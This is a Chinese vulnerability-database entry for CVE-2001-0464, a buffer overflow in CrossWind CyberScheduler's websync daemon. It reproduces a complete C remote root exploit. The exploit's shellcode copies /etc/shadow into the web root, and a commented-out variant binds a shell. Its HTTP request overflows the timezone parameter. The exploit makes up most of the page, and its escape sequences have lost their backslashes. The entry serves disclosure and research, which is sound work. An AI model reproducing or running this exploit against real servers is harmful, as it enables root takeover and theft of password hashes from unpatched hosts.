Cyberscheduler websync.exe缓冲区溢出漏洞
漏洞ID | 1106309 | 漏洞类型 | 缓冲区溢出 |
发布时间 | 2001-04-17 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2001-0464 |
CNNVD-ID | CNNVD-200107-018 |
漏洞平台 | CGI | CVSS评分 | 10.0 |
|漏洞来源
|漏洞详情
Cyberscheduler的websync.exe存在缓冲区溢出漏洞。远程攻击者借助超长tzs(timezone)参数执行任意命令代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/2628/info
CrossWind CyberScheduler is a scheduling and calendaring package. It consists of two distinct parts for - a set of cgi scripts on a web server and a set of daemons (or services) on a database server. Both parts are available for Windows NT, Linux and a range of UNIX platforms including Solaris.
One of the CyberScheduler daemons 'websyncd' (websyncd.exe on Windows NT) contains an exploitable buffer overflow in its timezone string parser. A timezone string is passed to websyncd by the websync.cgi cgi program (websync.exe on NT) through the tzs form variable.
Because websyncd runs as root, a stack overflow allows arbitrary code execution as root. The overflow occurs before any logon credentials are verified by websync.cgi, so unprivileged remote users can exploit this vulnerability.
/* PRIVATE -- DO NOT DISTRIBUTE!!
x-cybershed.c
TimeZONE buffer overflow on cgi script rendering complete control of
the stack.
Enrique A. Sanchez Montellano
[email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <time.h>
#include <wait.h>
#include <errno.h>
#define OFFSET 0
#define ALIGN 0
#define BUFFER 264
/* Definicion de colores */
#define VERDE "E[32m"
#define BRILLOSO "E[1m"
#define NORMAL "E[m"
#define ROJO "E[31m"
#define CELESTE "E[36m"
#define AZUL "E[34m"
#define AMARILLO "E[33m"
#define MORADO "E[35m"
//passive port 0x8000 shell (written by agent0nd)
//static char Hellcode[]=
//"xebx4bx5fx87xfex29xc0x29xdbx40x89x46x04x40x89x06xb0x06x89"
//"x46x08xb0x66x43x89xf1xcdx80x89x06xb0x02x66x89x46x0cxb0x80"
//"x66x89x46x0ex8dx46x0cx89x46x04x29xc0x89x46x10xb0x10x89x46"
//"x08xb0x66x43xcdx80x29xc0x40x89x46x04xb3x04xb0x66xcdx80xeb"
//"x02xebx4cx29xc0x89x46x04x89x46x08xb0x66x43xcdx80x88xc3x29"
//"xc9xb0x3fxcdx80xb0x3fx41xcdx80xb0x3fx41xcdx80xb8x2ex62x69"
//"x6ex40x89x06xb8x2ex73x68x21x40x89x46x04x29xc0x88x46x07x89"
//"x76x08x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x29xc0"
//"x40xcdx80xe8x62xffxffxff";
/* cp /etc/shadow /var/lib/httpd/htdocs */
static char Hellcode[]=
"xebx3ax5fx31xc0x89xfax89x57x64x80xc2x36x89x57x68x80xc2x33x80xeax30x89x57x6cx89x47x70x88x47x25x88x4
7x38x88x47x62xb0x73x2cx53x88x47x40x88x47x4cxb0x6cx2cx61x89xfbx8dx4fx64x31xd2xcdx80xe8xc1xffxffxffx2
fx73x62x69x6ex2fx2ex2ex2fx73x62x69x6ex2fx2ex2ex2fx62x69x6ex2fx2ex2ex2fx62x69x6ex2fx2ex2ex2fx62x69x6
ex2fx73x68XAGENT.OND.DEFCOMx2dx63x58x2fx62x69x6ex2fx63x70x58x2fx65x74x63x2fx73x68x61x64x6fx77x58x2fx76x
61x72x2fx6cx69x62x2fx68x74x74x70x64x2fx68x74x64x6fx63x73";
unsigned long resolver (char *serv) {
struct sockaddr_in sinn;
struct hostent *hent;
hent = gethostbyname (serv);
bzero ((char *) &sinn, sizeof (sinn));
memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
return sinn.sin_addr.s_addr;
}
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void usage(char *name) {
printf("Usage:n");
printf("%s <victim> <offset> <align> <buffer> nn", name);
}
int connex(u_long victim) {
int sockfd;
struct sockaddr_in hostaddr;
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("connex");
exit(-1);
}
hostaddr.sin_port = htons(80);
hostaddr.sin_addr.s_addr = victim;
hostaddr.sin_family = AF_INET;
if((connect(sockfd, (struct sockaddr *) &hostaddr, sizeof(hostaddr)))
< 0 ) {
perror("connex");
exit(-1);
}
return sockfd;
}
int ataque(int victim, char *command) {
int sockfd, retval, i;
char tmp[256];
fd_set rfds;
struct timeval timer;
char part1[1024] =
"/cgi-bin/websync.cgi?ed=&Es=7x1x101&un=Defcom&hn=lab&rpt=/cybersched/En_US/WebResources&cbn=/cgi-bin/websync.cgi&dow=sun&dmy=Off&tf
h=Off&lan=En_US&ix=0&amd=2&epw=WXxiAkS&mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101&tzs=";
char fancy[] = "Host: 127.0.0.1nConnection: Keep-AlivenUser-Agent:
Defcom Labs @ Spain version 0.1nContent-type:
aplication/x-www-form-urlencodedn";
sockfd = connex(victim);
FD_ZERO(&rfds);
FD_SET(sockfd, &rfds);
timer.tv_sec = 5;
timer.tv_usec = 0;
retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
if(retval) {
printf("%s[ + ] Atacking the server ... n%s", VERDE, NORMAL);
write(sockfd, "GET ", strlen("GET "));
write(sockfd, part1, strlen(part1));
write(sockfd, command, strlen(command));
write(sockfd, "n", strlen("n"));
// Fancy stuff ... LoL!
write(sockfd, fancy, strlen(fancy));
write(sockfd, "nn", strlen("nn"));
for(i = 0; i < 256; i++) {
tmp[i] = ' ';
}
read(sockfd, tmp, sizeof(tmp));
}
else {
printf("%sTime out!!!!!n%s", ROJO, NORMAL);
exit(-1);
}
}
int main(int argc, char **argv) {
int offset = OFFSET;
int align = ALIGN;
int buffer = BUFFER;
struct hostent *hent;
char *command;
unsigned long addr;
int i, victim;
if(argc < 2) {
usage(argv[0]);
exit(0);
}
if(argc > 2) offset = atoi(argv[2]);
if(argc > 3) align = atoi(argv[3]);
if(argc > 4) buffer = atoi(argv[4]);
if((hent = gethostbyname(argv[1])) == NULL) {
perror("x-cybersched");
exit(1);
}
printf("%sX-Cyberschedn", AZUL);
printf("------------------------------------n");
printf("Remote exploit .... byn");
printf("Enrique Sanchez ([email protected])n%s", NORMAL);
#ifdef DEBUG
printf("%s[ + DEBUG + ] Buffer is %dn%s", AMARILLO, buffer, NORMAL);
printf("%s[ + DEBUG + ] The size of the shellcode is %dn%s",
AMARILLO, strlen(Hellcode), NORMAL);
#endif
addr = 0xbfffffff - offset;
command = (char *)malloc(buffer);
printf("%s[ + ] Using addres: 0x%xn%s", VERDE, addr, NORMAL);
#ifdef DEBUG
printf("%s[ + DEBUG + ] Command right now is: %snn%s", AMARILLO,
command, NORMAL);
#endif
printf("%s[ + ] Filling buffer for exploitation ... n%s", VERDE, NORMAL);
for(i = 0; i < buffer; i += 4) {
*(long *)&command[i] = 0x90909090;
}
*(long *)&command[buffer - 4] = addr;
#ifdef DEBUG
printf("%s[ + DEBUG + ] Command right now is: %snn%s", AMARILLO,
command, NORMAL);
#endif
memcpy(command + buffer - strlen(Hellcode) - 4, Hellcode,
strlen(Hellcode));
#ifdef DEBUG
printf("%s[ + DEBUG + ] Command right now is: %snn%s", AMARILLO,
command, NORMAL);
#endif
ataque(resolver(argv[1]), command);
return 0;
}
|参考资料
来源:BID
名称:2628
链接:http://www.securityfocus.com/bid/2628
来源:BUGTRAQ
名称:20010417Cyberschedulerremoterootcompromise
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=98761402029302&w;=2
相关推荐: SPI Dynamics WebInspect 5.0.196 – Cross Application Script Injection
SPI Dynamics WebInspect 5.0.196 – Cross Application Script Injection 漏洞ID 1055288 漏洞类型 发布时间 2005-07-26 更新时间 2005-07-26 CVE编号 N/A C…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666